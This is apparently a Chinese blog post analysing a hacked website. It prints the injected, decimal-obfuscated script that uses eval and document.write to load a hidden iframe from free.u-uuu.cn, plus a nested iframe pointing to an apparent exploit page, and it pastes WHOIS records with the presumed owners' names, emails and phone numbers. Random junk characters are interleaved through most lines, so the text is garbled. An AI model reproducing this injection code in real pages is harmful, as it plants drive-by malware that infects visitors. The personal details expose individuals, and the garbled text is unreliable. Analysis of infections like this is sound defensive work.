首发在我的博客里面，
0_zSQn9c MLIQ 8= http://www.areway.cn/?p=175 TtjSLkF eWk2YP! zt?w n* _ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
o-CJdOS "N / K * <script>t=’60,105,102,114,97,109,101,
1H[;7@o$e 32,115,114,99,61,104,116,116,112,58,47,47,
QEHZ=Yg%3 102,114,101,101,46,117,45,117,117,117,46,99,
W6/p-e5y 110,47,101,114,114,111,114,46,104,116,109,
+#db_ k 32,119,105,100,116,104,61,49,48,48,32,104,
z`:^e1vG
101,105,103,104,116,61,48,62,60,47,105,102,
gGdYh.K&e5 114,97,109,101,62′;
Z!i'Tbfn t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
wkpVX*DfRE ku ud0VWJ <script>t=’60,105,102,114,97,109,101,32,115,
adE0oXQH" 114,99,61,104,116,116,112,58,47,47,102,114,
IlL 101,101,46,117,45,117,117,117,46,99,110,47,
.&Gtw
_ 101,114,114,111,114,46,104,116,109,32,119,
qmyZbo|8& 105,100,116,104,61,49,48,48,32,104,101,105,
9a Ps_|C 103,104,116,61,48,62,60,47,105,102,114,97,
!skWe~/ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+~k ,4 document.write(t);</script>
z iGL4c0p l45F*v]^ <html xmlns=”
i&Cqw~.H http://www.w3.org/1999/xhtml tJ_ @Ac F “>
n$0)gKN7 <head>
qhf/B) <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
td$6:) <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
K:50?r_-6 <title>首页 - 爱生活家庭网
k#+^=F^)I ; S27m]Q? 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
XN%D`tbvJ 转换字符串后的大概内容是（谁点击后果自付）：
3:E gqw <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
] "vdC} g\nL
n# 查询玉米u-uuu.cn的详细信息：
A"ph!* i{ Domain Name: u-uuu.cn
kRa$jD^? ROID: 20070901s10001s64972306-cn
jtpN o ~O Domain Status: ok
&'2 l_b Registrant Organization: 王雷
' u%;6'y Registrant Name: 王雷
Z: gsguX Administrative Email:
czlovexs@126.com AG%es0D[H Sponsoring Registrar: 北京万网志成科技有限公司
{cH Tg04 Name Server:ns.yovole.com
K{h]./% Name Server:ns1.yovole.com
Cu<ojN- $ Registration Date: 2007-09-01 17:54
9>, \QrrH Expiration Date: 2008-09-01 17:54
*<5lx[:4/x 最后PING了一下地址 都没有什么….
iZ;jn 8 evk
<<zi 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
{73DnC~N <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
;.m[&h 0 <script language=”javascript” src=”
n ,%^R http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script -* j; >
BeCr){,3 这个玉米应该有可能是木马作者的：
]= D foafau.info的详细信息：
*4\ub:9 Access to INFO WHOIS information is provided to assist persons in
OVK(:{PwS determining the contents of a domain name registration record in the
LYKm2C*d Afilias registry database. The data in this record is provided by
t~#+--( Afilias Limited for informational purposes only, and Afilias does not
`b$I)UU m guarantee its accuracy. This service is intended only for query-based
-0){C|,6 access. You agree that you will use this data only for lawful purposes
n9yv.p] and that, under no circumstances will you use this data to: (a) allow,
Ase 1 R=0 enable, or otherwise support the transmission by e-mail, telephone, or
ECfY~qK facsimile of mass unsolicited, commercial advertising or solicitations
Ok"we c+, to entities other than the data recipient’s own existing customers; or
9uo\&,, (b) enable high volume, automated, electronic processes that send
7En~~J3 queries or data to the systems of Registry Operator, a Registrar, or
qo ![ #s Afilias except as reasonably necessary to register domain names or
EE{%hGb modify existing registrations. All rights reserved. Afilias reserves
s A j$U^Gp the right to modify these terms at any time. By submitting this query,
1 x 8]& you agree to abide by this policy.
:udZfA\sW Domain ID:D22418703-LRMS
"q8 'tN>< Domain Name:FOAFAU.INFO
du TSU9 Created On:20-Nov-2007 16:05:42 UTC
)2\a5iH Last Updated On:20-Nov-2007 16:05:44 UTC
PkO(Y! Expiration Date:20-Nov-2008 16:05:42 UTC
6 n4S$a Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
L(YT6Vmm+t Status:CLIENT DELETE PROHIBITED
32 J Status:CLIENT RENEW PROHIBITED
r8E!-r}rno Status:CLIENT TRANSFER PROHIBITED
LDNUywj@w Status:CLIENT UPDATE PROHIBITED
&$
9bC 't6 Status:TRANSFER PROHIBITED
n6dg
Registrant ID:GODA-040110615
\Bf{/r5x Registrant Name:liu hong
ON^u|*kO Registrant Organization:
g:V6 B/M& Registrant Street1:beijing
;0WlvKF Registrant Street2:
}zLE*b, Registrant Street3:
<7h'MNf& Registrant City:beijing
Z.:A26 Registrant State/Province:
WV5R$IqY Registrant Postal Code:100000
HKf 3eC Registrant Country:CN
? -tw *2+ Registrant Phone:+86.860108888777
iWsIc\!+, Registrant Phone Ext.:
Oms`i&}"} Registrant FAX:
~'Hwszp b Registrant FAX Ext.:
8A=(,)`}9 Registrant Email:bbbshiji@163.com
6Vo}Uaq4 Admin ID:GODA-240110615
83 |/sWrvh Admin Name:liu hong
@ZWKs
Admin Organization:
/$Jh5Bv Admin Street1:beijing
f:>jH+o.S Admin Street2:
D-/A> Admin Street3:
)o CF|
2qc Admin City:beijing
U^ S0H(> Admin State/Province:
n+w>Qz' Admin Postal Code:100000
@B <_ h+ Admin Country:CN
WbF\=;$= 7 Admin Phone:+86.860108888777
m[rJFSpef Admin Phone Ext.:
-A~<IyPt Admin FAX:
MsiSC Admin FAX Ext.:
2^:nlM{u Admin Email:bbbshiji@163.com
fz\Az- Billing ID:GODA-340110615
?z.`rD$}(n Billing Name:liu hong
l K%Hb= Billing Organization:
a$-ax[:\sm Billing Street1:beijing
_t7A'`Dh] Billing Street2:
g. qp _O Billing Street3:
hHQt4 r'd Billing City:beijing
#=c%:{O{4R Billing State/Province:
\qP rY. - Billing Postal Code:100000
\(s ";@ Billing Country:CN
3Hr %G4 Billing Phone:+86.860108888777
Ib C)F> Dq Billing Phone Ext.:
Nsy.!,!c Billing FAX:
bjZ?WZr Billing FAX Ext.:
Ea 1>]V Billing Email:bbbshiji@163.com
[o "@*kf Tech ID:GODA-140110615
q}lSnWY[[ Tech Name:liu hong
HvU)GJ u b Tech Organization:
y CVBG Tech Street1:beijing
: n n' > Tech Street2:
xMu6PM<l Tech Street3:
-`JY] H Tech City:beijing
N_U
D7P1 Tech State/Province:
7(-<x@ e Tech Postal Code:100000
K> U &jH Tech Country:CN
(G
Y`O Tech Phone:+86.860108888777
/nNHI34 Tech Phone Ext.:
%1<|.Dmd Tech FAX:
92R{V%)G Tech FAX Ext.:
7UiU3SUcg Tech Email:bbbshiji@163.com
K} @ q+ Name Server:NS27.DOMAINCONTROL.COM
{1 mD(+pJ{ Name Server:NS28.DOMAINCONTROL.COM
n%}0hVu Name Server:
7>TG
]& Name Server:
NUseYU`` Name Server:
{[eY/)6H Name Server:
6/ ) A6Tt Name Server:
Cq=c'(cX Name Server:
Yi3DoaS;" Name Server:
kBkhuKd)V Name Server:
+= QboUN Name Server:
u&:j Q:[ Name Server:
c|XnPqo;f Name Server:
E6uI p^E 4 3YusUv 接着下载每个文件里面的代码：
sj1 x> 一步一步看..
(]L=$u4 
xo}hu %XL 
+Aq}BjD# 
bk|>a=o3 
I[/u5V_b' 
H
Zc;.jJ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
